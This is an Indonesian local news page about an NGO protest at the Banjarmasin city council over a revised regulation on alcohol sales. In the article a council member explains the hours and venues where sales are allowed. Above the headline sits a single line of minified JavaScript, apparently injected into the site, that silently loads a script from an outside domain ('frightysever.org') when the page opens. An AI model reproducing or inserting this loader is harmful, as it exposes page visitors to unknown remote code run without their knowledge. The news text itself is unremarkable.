(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Simpang Siur Perda Minuman Beralkohol, LSM Minta Penjelasan DPRD Banjarmasin


BANJARMASIN, Puluhan massa yang tergabung dalam LSM LIRA menymbangai kantor DPRD Kota Banjarmasin, Kamis (25/7). Ini terkait ihwal Perda Retribusi minuman beralkhohol (Minol) yang sedang digodok DPRD Kota Banjarmasin.

Sebelumnya massa ini sempat mengunjungi Balaikota Banjarmasin, tapi sayang kedatangan pihaknya untuk menemui Walikota Banjarmasin Ibnu Sina gagal, sedang Ibnu Sina tidak berada di tempat.

Din Jaya, Ketua Forum Rakyat Peduli Bangsa dan Negara Kalimantan Selatan (Forpeban) mengatakan kepada awak media, pihaknya mempertanyakan soal Perda yang menurut masyarakat memperbolehkan Minol dijual bebas di pasar modern seperti Alfamart dan Indomaret. “Menurut masyarakat itu bebas dijual, tapi dengan minimal waktu satu jam. Nah kami mempertanyakan ini. Kami prihatin dan takut atas isu-isu miras dijual bebas di tempat seperti Alfamart dan Indomaret. Itu nanti akan merusak moral generasi muda kita kalau itu benar,” ungkapnya.

Kedatangan massa ini disambut Ketua Komisi III DPRD Kota Banjarmasin, Matnor Ali. Matnor Ali langsung meluruskan bahwa apa yang diasumsikan oleh masyarakat ihwal Perda Monil tersebut sebenarnya kurang tepat.

Dijelaskannya lebih lanjut bahwa Perda Minol yang direvisi tersebut bukanlah untuk membebaskan tapi justru memperkecil ruang gerak penjualan Minol itu sendiri. “Jadi miras itu kita perkecil sampai membatasi peredaran. Jadi di dalam Perda kita yang dipermasalahkan mereka itu adalah masalah penjualan di Hypermart, kenapa diperbolehkan,” terangnya kepada awak media.

Mengacu pada Peraturan Pemerintah nomor 73 tahun 2013 yang mengatur golongan minuman beralkohol. Golongan minuman beralkohol terdiri atas golongan A yang mengandung alkohol sebesar 5 persen, golongan B dengan alkohol 5 hingga 22 persen, dan golongan C dengan alkohol 22 hingga 55 persen. Dalam Perda minol dengan golongan B dan C diperbolehkan dijual hotel bintang empat dan lima. Sedangkan di dalam Peraturan Menteri Perdagangan nomor 20 tahun 2014  memperbolehkan minol golongan A dijual di Hypermart.

“Dalam peraturan menteri perdagangan, tidak mengatur jarak dan waktu penjualan. Maka diberikan ruang oleh pemerintah kota untuk mengatur itu. Kita atur Hypermart boleh menjual pada jam 11 sampai 12 malam. Nah, Duta Mall (lokasi Hypermart) aja kan tutupnya sampai jam 10. Nah di situ kita membatasi,” terang Matnor Ali.


Page: 1 2

Desy Arfianty

Recent Posts

1.082 Sertifikat Tanah Atas Nama Pemko Banjarbaru Diserahkan

KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 1.082 persil sertifikat tanah berupa tanah jalan dan jalan fasilitas umum… Read More

1 jam ago

Camilan dan Kue Kering di Pasar Sudimampir Mulai Ramai Diburu

KANALKALIMANTAN.COM, BANJARMASIN – Pengunjung mulai terasa memadati pusat perbelanjaan pakaian dan makanan Pasar Sudimampir Banjarmasin… Read More

4 jam ago

Bupati Banjar dan Jajaran Safari Ramadan ke Lokbaintan

KANALKALIMANTAN.COM, MARTAPURA - Safari Ramadan Bupati Banjar H Saidi Mansyur, Wabup Banjar Habib Idrus Al… Read More

4 jam ago

57 Pelamar Lolos Seleksi Administrasi Uji Kompetensi KPID Kalsel 2024-2027

KANALKALIMANTAN.COM, BANJARBARU - Komisi Penyiaran Indonesia Daerah (KPID) Provinsi Kalimantan Selatan mengumumkan puluhan pelamar yang… Read More

4 jam ago

Gunungan Sampah di Veteran Banjarmasin, Darurat Sampah Makin Menjadi

KANALKALIMANTAN.COM, BANJARMASIN – Darurat sampah di Banjarmasin sudah tak bisa ditolerir, keterbatasan titik kumpul sampah… Read More

17 jam ago

Sahrujani – Hero Setiawan Bertekad Membawa HSU Bangkit

KANALKALIMANTAN.COM, AMUNTAI – “HSU Bangkit!”, semangat itu terlontar saat Bupati Hulu Sungai Utara (HSU) H… Read More

18 jam ago